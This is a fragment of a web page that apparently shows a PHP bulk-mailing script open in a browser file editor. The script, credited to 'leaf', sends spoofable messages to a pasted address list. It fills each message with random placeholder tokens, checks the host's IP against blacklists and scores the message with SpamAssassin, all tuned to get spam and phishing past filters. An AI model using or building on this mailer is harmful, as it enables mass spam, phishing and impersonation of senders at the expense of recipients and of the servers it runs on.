                        &lt;option &#039;.$iso.&#039;&gt;ISO-8859-1&lt;/option&gt;
                    &lt;/select&gt;
                &lt;/div&gt;
                &lt;div class=&quot;form-group col-lg-3 &quot;&gt;
                    &lt;label for=&quot;encoding&quot;&gt;Message encoding&lt;/label&gt;
                    &lt;select class=&quot;form-control input-sm&quot; id=&quot;encode&quot; name=&quot;encode&quot;&gt;
                        &lt;option &#039;.$bit8.&#039;&gt;8bit&lt;/option&gt;
                        &lt;option &#039;.$bit7.&#039;&gt;7bit&lt;/option&gt;
                        &lt;option &#039;.$binary.&#039;&gt;binary&lt;/option&gt;
                        &lt;option &#039;.$base64.&#039;&gt;base64&lt;/option&gt;
                        &lt;option &#039;.$quotedprintable.&#039;&gt;quoted-printable&lt;/option&gt;

                    &lt;/select&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;button type=&quot;submit&quot; class=&quot;btn btn-default btn-sm&quot; form=&quot;form&quot; name=&quot;action&quot; value=&quot;send&quot;&gt;SEND&lt;/button&gt; or &lt;a href=&quot;#&quot; onclick=&quot;document.getElementById(\&#039;form\&#039;).submit(); return false;&quot;&gt;check SpamAssassin Score&lt;/a&gt;
   
        &lt;/form&gt;
    &lt;/div&gt;
    &lt;div class=&quot;col-lg-6&quot;&gt;&lt;br&gt;
        &lt;label for=&quot;well&quot;&gt;Instruction&lt;/label&gt;
        &lt;div id=&quot;well&quot; class=&quot;well well&quot;&gt;
            &lt;h4&gt;Server Information&lt;/h4&gt;
            &lt;ul&gt;
                &lt;li&gt;Server IP Address : &lt;b&gt;&#039;.$_SERVER[&#039;SERVER_ADDR&#039;].&#039; &lt;/b&gt; &lt;a href=&quot;?check_ip=&#039;.$_SERVER[&#039;SERVER_ADDR&#039;].&#039;&quot; target=&quot;_blank&quot; class=&quot;label label-primary&quot;&gt;Check Blacklist &lt;i class=&quot;glyphicon glyphicon-search&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;PHP Version : &lt;b&gt;&#039;.phpversion().&#039;&lt;/b&gt;&lt;/li&gt;
                

            &lt;/ul&gt;
            &lt;h4&gt;HELP&lt;/h4&gt;
            &lt;ul&gt;
                &lt;li&gt;[-email-] : &lt;b&gt;Reciver Email&lt;/b&gt; (emailuser@emaildomain.com)&lt;/li&gt;
                &lt;ul&gt;
                    &lt;li&gt;[-emailuser-] : &lt;b&gt;Email User&lt;/b&gt; (emailuser) &lt;/li&gt;
                    &lt;li&gt;[-emaildomain-] : &lt;b&gt;Email User&lt;/b&gt; (emaildomain.com) &lt;/li&gt;
                &lt;/ul&gt;
                &lt;li&gt;[-time-] : &lt;b&gt;Date and Time&lt;/b&gt; (&#039;.date(&quot;m/d/Y h:i:s a&quot;, time()).&#039;)&lt;/li&gt;
                
                &lt;li&gt;[-randomstring-] : &lt;b&gt;Random string (0-9,a-z)&lt;/b&gt;&lt;/li&gt;
                &lt;li&gt;[-randomnumber-] : &lt;b&gt;Random number (0-9) &lt;/b&gt;&lt;/li&gt;
                &lt;li&gt;[-randomletters-] : &lt;b&gt;Random Letters(a-z) &lt;/b&gt;&lt;/li&gt;
                &lt;li&gt;[-randommd5-] : &lt;b&gt;Random MD5 &lt;/b&gt;&lt;/li&gt;
            &lt;/ul&gt;
            &lt;h4&gt;example&lt;/h4&gt;
            Receiver Email = &lt;b&gt;user@domain.com&lt;/b&gt;&lt;br&gt;
            &lt;ul&gt;
                &lt;li&gt;hello &lt;b&gt;[-emailuser-]&lt;/b&gt; = hello &lt;b&gt;user&lt;/b&gt;&lt;/li&gt;
                &lt;li&gt;your domain is &lt;b&gt;[-emaildomain-]&lt;/b&gt; = Your Domain is &lt;b&gt;domain.com&lt;/b&gt;&lt;/li&gt;
                &lt;li&gt;your code is  &lt;b&gt;[-randommd5-]&lt;/b&gt; = your code is &lt;b&gt;e10adc3949ba59abbe56e057f20f883e&lt;/b&gt;&lt;/li&gt;
            &lt;/ul&gt;

            &lt;h6&gt;by &lt;b&gt;&lt;a href=&quot;http://&#039;.$leaf[&#039;website&#039;].&#039;&quot;&gt;&#039;.$leaf[&#039;website&#039;].&#039;&lt;/a&gt;&lt;/b&gt;&lt;/h6&gt;
        &lt;/div&gt;
    &lt;/div&gt;&#039;;  
if($_POST[&#039;action&#039;]==&quot;send&quot;){
    print &#039;    &lt;div class=&quot;col-lg-12&quot;&gt;&#039;;
    $maillist=explode(&quot;\r\n&quot;, $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print &#039;&lt;div class=&quot;col-lg-1&quot;&gt;[&#039;.$x.&#039;/&#039;.$n.&#039;]&lt;/div&gt;&lt;div class=&quot;col-lg-4&quot;&gt;&#039;.$email.&#039;&lt;/div&gt;&#039;;
        if(!leafMailCheck($email)) {
            print &#039;&lt;div class=&quot;col-lg-6&quot;&gt;&lt;span class=&quot;label label-default&quot;&gt;Incorrect Email&lt;/span&gt;&lt;/div&gt;&#039;;
            print &quot;&lt;br&gt;\r\n&quot;;
        }
        else {
            $mail = new PHPMailer;
            $mail-&gt;setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail-&gt;addReplyTo(leafClear($replyTo,$email));
            $mail-&gt;addAddress($email);
            $mail-&gt;Subject = leafClear($subject,$email);
            $mail-&gt;Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail-&gt;IsHTML(true);
                $mail-&gt;AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail-&gt;IsHTML(false);
            $mail-&gt;CharSet = $charset;
            $mail-&gt;Encoding = $encoding;
            for($i=0; $i&lt;count($_FILES[&#039;attachment&#039;][&#039;name&#039;]); $i++) {
                if ($_FILES[&#039;attachment&#039;][&#039;tmp_name&#039;][$i] != &quot;&quot;){
                    $mail-&gt;AddAttachment($_FILES[&#039;attachment&#039;][&#039;tmp_name&#039;][$i],$_FILES[&#039;attachment&#039;][&#039;name&#039;][$i]);
                }

            }
            
            if (!$mail-&gt;send()) {
                echo &#039;&lt;div class=&quot;col-lg-6&quot;&gt;&lt;span class=&quot;label label-default&quot;&gt;&#039;.htmlspecialchars($mail-&gt;ErrorInfo).&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
            }
            else {
                echo &#039;&lt;div class=&quot;col-lg-6&quot;&gt;&lt;span class=&quot;label label-success&quot;&gt;Ok&lt;/span&gt;&lt;/div&gt;&#039;;
            }
            print &quot;&lt;br&gt;\r\n&quot;;
        }
        $x++;
        for($k = 0; $k &lt; 40000; $k++) {echo &#039; &#039;;}
    }

}
elseif($_POST[&#039;action&#039;]==&quot;score&quot;){
    $mail = new PHPMailer;
    $mail-&gt;setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail-&gt;addReplyTo(leafClear($replyTo,$email));
    $mail-&gt;addAddress(&quot;username@domain.com&quot;);
    $mail-&gt;Subject = leafClear($subject,$email);
    $mail-&gt;Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail-&gt;IsHTML(true);
        $mail-&gt;AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail-&gt;IsHTML(false);
    $mail-&gt;CharSet = $charset;
    $mail-&gt;Encoding = $encoding;
    $mail-&gt;preSend();
    $messageHeaders=$mail-&gt;getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, &#039;http://spamcheck.postmarkapp.com/filter&#039;);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(&#039;email&#039; =&gt; $messageHeaders,&#039;options&#039;=&gt;&#039;long&#039;)));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print &#039;    &lt;div class=&quot;col-lg-12&quot;&gt;&#039;;
    if ($response-&gt;success == TRUE ){
        $score = $response-&gt;score;
        if ($score &gt; 5 ) $class=&quot;danger&quot;;
        else $class=&quot;success&quot;;
            print &#039;&lt;div class=&quot;text-&#039;.$class.&#039;&quot;&gt;Your SpamAssassin score is &#039;.$score.&#039;  &lt;/div&gt;
&lt;div&gt;Full Report : &lt;pre&gt;&#039;.$response-&gt;report.&#039;&lt;/pre&gt;&lt;/div&gt;&#039;;
print &#039;    &lt;/div&gt;&#039;;
    }
}
print &#039;&lt;/body&gt;&#039;;
?&gt;</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
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